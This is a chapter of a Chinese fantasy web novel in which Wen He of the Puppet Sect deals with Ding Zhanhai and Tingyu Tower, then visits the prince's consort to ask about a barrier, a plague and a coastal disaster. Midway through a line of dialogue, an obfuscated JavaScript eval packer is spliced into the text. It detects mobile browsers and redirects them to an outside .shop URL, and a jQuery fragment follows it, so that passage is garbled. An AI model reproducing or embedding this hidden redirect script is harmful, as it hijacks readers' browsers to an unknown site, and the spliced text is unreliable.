尽管显得有些多管闲事,多少也猜得出丁盏海的意图,但此时闻赫却难得有些理解了归仪罗对那平民官的做法。她食指抬起又落,如玉如瓷的小鸟随着她的动作站在她的中指指节上展翅再合。
“与你们无关的事,非要掺和进来是为的什么?”她问。
对面的少女腕间银饰泠泠一阵响。
“丁盏海想过得更好。”她答。
这等缘由闻赫并非不能理解,谁都想让自己能过得更好,但能让他们这般执着的必然另有其因。
她抬抬下巴,一指四周环绕、郁郁葱葱、铺天满地的粗藤壮树,问藤蔓那头的少女:“怎么算更好?”
“更平稳安宁,更称心舒意。”少女如此答。
她的脸色依然难看,手上的攻势却不知为何缓了下来。
闻赫反复咀嚼着她这句话。
最后她问:“海上不安静?”
少女沉默不语,藤蔓上的叶片开始剧烈地哗哗抖动,似是在应和什么。
依照丁盏海修行的道义,走听雨楼的路子不见得比在他们自己驻地更平静安宁。
闻赫从少女的反应中确认了这一点。她指尖略微施力,足尖微偏,小鸟带着她再次避开了数道不足腕粗的藤蔓。
至此尚算不上有多少进展。她避烦了,又不想当真将幻境中那点不重要的破事儿上升成深仇大恨去,干脆扬声冲那头道:“听雨楼都有谁在?总不能叫你们客人在外应付人吧?”
她眼见着那短衣少女闷头便又是一藤甩来,正欲抬手以傀儡丝稍作阻拦,便见有人姗姗来迟。
一袭月紫软衫半裙的女子拢了拢袖,遥遥向闻赫这处躬了躬身:“闻少宗。”
‘半月’散着月白的幽光,因交手而破土的无数藤蔓被收入其中,最终归于丁盏海那少女的左臂之中。
闻赫见她眼熟,不过眨眼便想起这是哪位。
“天地为师,”闻赫未与这些人打过交道,不知此人名姓,便只笑着大致行了个搭手的文礼,“我姑且跟着牧慕称您声‘师姐’。”
女子浑身上下皆见柔和,连话音语调都极柔软的模样:“听雨楼如今有些麻烦,丁盏海在此相帮,若有唐突还请见谅。”
这就是不打算叫人进去坐坐的意思了。
闻赫倒也没什么非要进去同人闲话家常的执念,闻言也不过勾唇扬笑,咳了两声道:“我也没想来为难人,傀宗同听雨楼关系尚可,只是来看看。”她又转了转腕,抬眼打量了一眼二人背后被‘半月’护得严严实实的山楼,只抬手前送,小鸟便被她送往前方,“天中节时本想给你们送些礼来,后来忙忘了。这鸟儿是送牧慕的,如若方便,还劳师姐代为转交。”
这般套话下来,闻赫转身,当真不在此处多停留一分。
听雨楼明面上的态度已然明显,她若态度再那般强硬,只会叫林牧慕和孟如瑛这派的人难做,闻赫自不会叫朋友做这般为难。
她听见后边的女子长出一口气,那只鸟儿身上的咒术尚有感应,此时亦未飞回,便知自己是料对了。
闻赫又悄悄捻了捻指尖,加快了回城的脚步。
丁盏海显然与听雨楼之间亦有分歧,这般联合还得过些日子,待到有了成果才能再行判断。
林牧慕与孟如瑛的信儿是想让傀宗——至少是她一人——避开双方联合后将行之事,那由此可知此事与傀宗关联不大,但或可遭受连累。
万般思虑,闻赫的脚程许是跟着脑子走的,总之等到她厘清了丁盏海、听雨楼与幻境和如今宫中那几位的那些乱线时,人已站到了承平王府门前。
她仰脸看了一眼大门的牌匾,这才想起自己定的匆忙,未曾递过拜帖。
等会儿就等会儿吧。
她正要上阶去敲门,却见自王府阶前起有一道几乎无形的屏障树立此处,这步子迈得大了,险些一头撞上。
顺着惯性向后退了一步,闻赫稳住身形,向前一探指,抬头去瞧。
莹莹水波纹自她指尖所触之处荡开,逐渐扩散,消失于顶。
——这屏障与当时路宅前那个几乎别无二致,显然出自同一人之手。
闻赫不由得眯起了眼,指尖径自勾勒起咒文来。
她在路宅时曾一度怀疑设下这屏障的是她师父,但既然那人说过“缘分已止,更不再见”,依那人性子必然不会再出现在与她相关的任何一处地方。
与在路家破除屏障时一模一样的咒文自闻赫掌心推出,一阵隐约的、极微小的碎裂声响起,屏障在她眼前应声而散。
闻赫在漫天落下的光点中反复张合手掌,视线落在掌心逐步消散的咒文上。
——直到大门响动。
能发现这屏障并构成它的人显然发现了闻赫的动作,此时有一身深灰布衣的家仆拉开了那猩红的门扉,探出头来左右瞧了瞧,最后目光看向闻赫这处,扬声问:“哪位?”
戴着小帽的鬼偶爬上了闻赫的手掌。她指尖在小偶的脑后点了点,笑答:“傀宗闻赫,求见王妃。”
这位家仆显然是做不了主的,只丢下一句“等着”,门便又合上了。
闻赫却也不急,毕竟是她不请自来,还坏了人家府前这用以护卫的屏障。
她便以掌半搂着小偶,又四下打量一番,忽的想起了悄无声息便空了的青宅。
若是有术法干预……
闻赫双手向上一托小偶,下巴往它头顶轻轻一抵:“一会儿见着师姐,你先去哄她开心。”
她要问问这屏障的事儿,若是有彻底掩藏声息或另行伪装的效用,那想来青宅应当也使过相似的手段。
小偶郑重地重重点头。许是用力过大,那木雕的头抬起后摇来摆去地晃了好一阵儿。
——门又开了。
闻赫直起身抬眼望去,这回是个护卫。他抬脚迈出大门,脚步极重,只对着闻赫上下一打量,便侧过了身,一手压着腰间的长剑,一手平抬向侧:“闻少宗请。”
闻赫便跟着他进了府。
一路向内,是与闻赫先前来时相同的路。她脚步轻盈,不急不缓,目不斜视,随口打听:“最近府中事多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945719|203043||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
这位护卫倒不沉默寡言,应得也快:“是我们王妃殿下吩咐的。”
闻赫眉梢一动,指尖又轻轻点了点掌中小偶的脑袋。
成芸慧收到宫中消息的速度必然比闻赫要快且内容繁杂。她从中发现了什么,这一会儿也得问上两句。
护卫带着闻赫左右绕行,最后到的仍是那座亭。
成芸慧在亭中端坐,怀里抱着一只狸奴。
闻赫走上前去乖巧地唤了她一声“师姐”,便见她放了猫抬头望来,目光很快停在了闻赫手中托着的小偶上。
闻赫听见她叹了口气,面上露出了些难言的伤心来:“章垣的偶在你这里呀。”
小偶从闻赫的掌心跳下,甩着那双腿走到成芸慧的身前,伸手抓着她的衣摆向上爬。
成芸慧俯身捞它入怀,指腹在它的小帽上蹭了又蹭:“这个帽子还是我给做的。”
闻赫半敛着眼皮,忽有一瞬的慌张。
她意识到自己先前将闻竺作的那些大祸——被写出来的那些——全借着升金木那局栽到了章垣身上去。
尽管闻赫对此事理直气壮,且此事也是章垣亲口嘱咐过的。但或许是亲手将人杀了的缘故,她总是多多少少对章垣有着些愧疚。
也不过是瞬息间的事儿,这感觉便从闻赫心头轻易散了。
有用便不算枉死。
成芸慧尚在伤感,近半刻钟后方才将那小偶往面前一放,食指一伸,仿若逗猫一般,连头都不往闻赫这儿转了:“是想问府前的屏障还是听雨楼?”
闻赫眨了眨眼,一撩下摆顺着话坐下,一肘搭在桌面上,一手伸指去勾小偶垂在桌沿的脚玩儿:“都想问。”她得寸进尺,笑着向前微微倾身,声音较前半句稍弱半分,道,“还有西南的关口、东南的海上、失踪的青家、勾琅部的孔雀。”
她细数列分,像是想哪儿问哪儿,却又思路明晰。
“我不问多的,师姐只管挑能说的同我说,其余的,”她又坐直回去,拨了两下小偶的脚,遭它往虎口上反抗似的打了一巴掌,“特别是内京里头现在谁在跟谁玩儿家家酒,谁在同谁闹小孩子脾气,我一概不想知道。”
成芸慧手上动作一顿,抬眼向闻赫瞥来,随即便又低头去玩偶。她的话音很静,听不出多少起伏:“西南的关口,你想问药宗;东南的海上,你想问的怕不是丁盏海。”
闻赫甚是无辜地眨眨眼,并不答话。
成芸慧在这话后沉默了许久,闻赫亦不催促,只一面逗弄着小偶挨它的打,一面掐着指节,极力抑制喉间一阵阵袭来的痒意。
“我先答你想问的。”她最终开了口,闻赫手上动作一顿,手上一时忘了控制,险些将小偶从桌上扯下去。
“西南疑似有瘟疫在流传,但关口不断有关外巫医宗系的人入关,巫医不治瘟疫,我不认为那是。”成芸慧道,“东南的海上尚且无异,但前阵子东南地动,海潮倒灌,丁盏海的驻地没了一半儿。他们修行之道极度依赖自然,进展缓慢,而‘心脏’正是他们如今所需的。”